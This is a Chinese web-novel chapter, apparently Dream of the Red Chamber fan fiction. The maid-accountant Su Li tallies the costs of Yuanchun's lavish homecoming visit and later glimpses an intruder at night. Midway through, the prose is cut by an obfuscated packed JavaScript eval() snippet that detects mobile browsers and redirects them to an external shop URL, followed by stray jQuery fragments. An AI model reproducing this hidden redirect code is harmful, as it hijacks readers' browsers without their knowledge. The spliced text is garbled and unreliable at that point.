水澈那句“木秀于林，风必摧之”的警告，如同秋日里最后一声惊雷，虽未带来即刻的风雨，却让苏璃心底那份不安与警觉，沉甸甸地压了许久。


    她越发谨言慎行，除了账房必要事务，几乎足不出户，连偶尔与宝玉房中几个相熟的大丫头说话，也加倍留神。然而，日子依旧要过，账目依旧繁杂，府中因省亲大事临近而日益加重的喧嚣与忙碌，也容不得她有半分懈怠。


    秦可卿的丧事余波未平，宁荣两府尚未完全从那场奢靡的哀荣中缓过气来，另一件泼天喜事——贤德妃元春省亲——便已迫在眉睫。两府上下，从主子到奴才，无不将全副精神投入其中，仿佛要将丧事的晦气一扫而空，用十倍百倍的热闹与辉煌，来迎接这“烈火烹油，鲜花着锦”的盛事。


    省亲别墅——大观园，更是日夜赶工，匠人如蚁，灯火彻夜不息。银子流水般花出去，比之秦氏丧事有过之而无不及。贾琏、贾珍等人忙得脚不沾地，贾政虽不惯俗务，也常被请去商议题匾额、定规制等事。


    内眷这边，王夫人、邢夫人日日与凤姐计议，从接驾礼仪、宴席摆设，到各处陈设、丫鬟仆役的调派，无不精细到极致。凤姐更是忙得几乎以理事厅为家，眼下的乌青用再厚的脂粉也遮掩不住，脾气也越发急躁，平儿和苏璃在她跟前回话，都需打起十二分精神。


    苏璃的账房，成了这庞大开支的核心枢纽。采买奇花异草、珍玩古器、绸缎绫罗、各色器皿的银钱，支付匠人工钱物料费用的款项，打点宫内太监、执事人员的赏封……每日里票据如雪片般飞来。


    她与几个识字的丫鬟日夜轮值，登记、核对、分类、归档，不敢有丝毫错漏。每一笔支出，她都清清楚楚记下，心中那本暗账，关于贾府财政的窟窿，也随之越描越大，越描越黑。她冷眼看着这看似繁花似锦、实则透支根基的盛景，心中那股寒意与筹谋，也越发清晰坚定。


    转眼已是腊月，省亲之日定在了正月十五上元佳节。进了腊月，府中气氛更是紧张到极致。各处打扫装饰，演练礼仪，置办年货节礼，忙乱不堪。好容易捱到年下，祭祖、守岁、拜年，诸般礼仪匆匆而过，所有人的心思，都早已飞到了正月十五那夜。


    元宵佳节，终于到了。


    这一日，自五鼓起，贾府上下人等都按品大妆起来，府内外各处，帐舞蟠龙，帘飞彩凤，金银焕彩，珠宝争辉，鼎焚百合之香，瓶插长春之蕊，静悄悄无一人咳嗽。贾赦、贾政等有爵者，俱在西街门外；贾母等内眷，皆在荣府大门外。街头巷口，俱系围幕挡严。


    苏璃等有体面的丫鬟，亦按吩咐装扮齐整，在指定位置侍立。她穿着一身府里新做的水绿绫袄，青缎掐牙背心，白绫细折裙，头上簪着两支素银簪子，脸上薄施脂粉，站在贾母院外穿堂的廊下。这里虽不能亲见銮驾，却能感受到那股山雨欲来、屏息凝神的肃穆与期盼。


    时辰一点点过去，从清晨到晌午，又从晌午到傍晚。天色渐暗，府中千百盏各色精致灯笼次第点亮，将偌大的荣宁二府照耀得如同琉璃世界，珠宝乾坤。寒风凛冽，众人站得腿脚酸麻，却无人敢动，只听得见远处隐约传来的更鼓声，和间或一两声压抑的咳嗽。


    忽听外面马蹄声响，由远及近，接着是静鞭三响，鼓乐声大作。众人精神一振，知道是銮驾到了。苏璃屏住呼吸，只听外面山呼拜舞之声，隐隐传来内监尖细的唱喏。又过了许久，才见前面仪仗引导，一对对龙旌凤翣，雉羽夔头，又有销金提炉焚着御香，然后一把曲柄七凤黄金伞过来，便是冠袍带履。又有值事太监捧着香珠、绣帕、漱盂、拂尘等物。一队队过完，后面方是八个太监抬着一顶金顶金黄绣凤版舆，缓缓行来。


    贾母等连忙路旁跪下。版舆停下，早有太监过来，扶起贾母、邢夫人、王夫人。那版舆抬入大门，入仪门往东去，到一所院落门前，有执拂太监跪请下舆更衣。于是抬舆入门，太监等散去，只有昭容、彩嫔等引领元春下舆。


    苏璃等丫鬟随着众人，按早已演练好的路径，静默而迅速地移动至省亲别墅——大观园的正殿“顾恩思义”殿外阶下侍立。只见殿内灯火通明，香烟缭绕，隐隐传来环佩叮咚与压抑的呜咽之声。那是元春与贾母、王夫人等相见，彼此忍悲强笑，叙说离别之情。


    许久，才听里面传谕，命宝玉及众姊妹觐见。又过了半晌，方有太监出来传旨：“赐宴。”于是礼仪太监引着贾赦、贾政等男眷于外殿，贾母等女眷于内殿，分别筵宴。虽说是“赐宴”，实则元春心中凄楚，众人亦强颜欢笑，珍馐美味当前，也食不知味。


    宴毕，元春起身，命人备舆，欲往园中游幸。此时已是亥时，月上中天，清辉洒落，与园中万千灯火交相辉映，更添璀璨。苏璃随着侍奉的丫鬟队伍，远远跟在銮舆之后，入了大观园。


    一入园中，只见处处灯光相映，时时细乐声喧，说不尽这太平气象，富贵风流。元春在舆内看了此园内外如此豪华，因默默叹息奢华过费。下舆登舟，只见清流一带，势如游龙，两边石栏上，皆系水晶玻璃各色风灯，点的如银光雪浪；上面柳杏诸树虽无花叶，然皆用通草绸绫纸绢依势作成，粘于枝上的，每一株悬灯数盏；更兼池中荷荇凫鹭之属，亦皆系螺蚌羽毛之类作就的。诸灯上下争辉，真系玻璃世界，珠宝乾坤。船上亦系各种精致盆景诸灯，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950499|192429||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    珠帘绣幕，桂楫兰桡，自不必说。


    苏璃跟在岸上随行，看着这穷奢极欲、巧夺天工的景致，耳中听着隐约传来的元春与薛、林、探春等姊妹的赋诗唱和之声，心中却无半分欣悦，只觉一股冰冷的虚幻感。这满园辉煌，是多少白花花的银子堆砌而成？这短暂一夜的“天伦之乐”，背后又是多少人的心力交瘁与财政的岌岌可危？元春那声无人听见的叹息，或许才是这繁华盛景下最真实的注脚。


    游幸毕，元春至正殿，再次升座受礼，又赏赐了众多礼物与贾母、王夫人等。眼看到了丑正三刻，请驾回銮的时辰已到。元春虽不忍别，怎奈皇家规范，违错不得，只得忍心上舆去了。


    众人送驾回来，卸了妆容，一个个精疲力尽，却又带着一种过度兴奋后的空虚与茫然。主子们自去安歇，下人们则忙着收拾残局。苏璃回到账房附近的小院，已是后半夜。她褪下那身为了今日才上身的簇新衣裳，换上平日的旧袄，坐在灯下，却毫无睡意。


    桌上，还摊开着白日未及整理完的几份账单，都是省亲最后关头临时采买、打点的费用，数额不小。她揉了揉眉心，正欲提笔，忽听窗外传来极轻微的“嗒”一声，像是什么小石子落在瓦上。


    她心中一动，警醒起来。轻轻吹熄了灯，走到窗边，透过缝隙向外望去。月色朦胧，院中树影婆娑，并无异状。她屏息等了一会儿，正要退回，却见对面墙角阴影处，似乎有片衣角一闪而过，随即没入黑暗，再无动静。


    是谁？巡夜的婆子？还是……别的什么人？


    苏璃的心跳漏了一拍。今日府中人多眼杂，龙蛇混杂，难保没有宵小之辈混入，或是某些有心人趁机窥探。她迅速回想自己近日有无行差踏错，有无留下什么可能引人注目的把柄。是那些账目？还是她与“粤海记”那边极其隐秘的联系？


    她轻轻关严窗户，插好门闩，背靠着冰冷的门板，在黑暗中静静站立。元春省亲的喧嚣与辉煌犹在眼前，但那墙角一闪而过的黑影，却像一根冰冷的刺，扎进了这浮华梦境的最深处。


    盛宴已散，光华落幕，留下的不仅是疲惫和空虚，还有这深宅夜幕下，悄然浮现的、无法窥测的危机。她缓缓走回桌边，就着窗外透进的微光，摸到那支惯用的毛笔，指尖冰凉。


    山雨，真的要来了么？而这风雨之中，她这只小心翼翼、刚刚开始编织自己罗网的雀鸟，又该如何自处，方能不被吹折羽毛，甚至……趁风而起？


    夜色浓重，万籁俱寂，只有远处隐约传来收拾器具的细微声响，更衬得这小小耳房，寂静得令人心慌。苏璃握着笔，在黑暗中睁着眼，直到东方泛起一丝鱼肚白。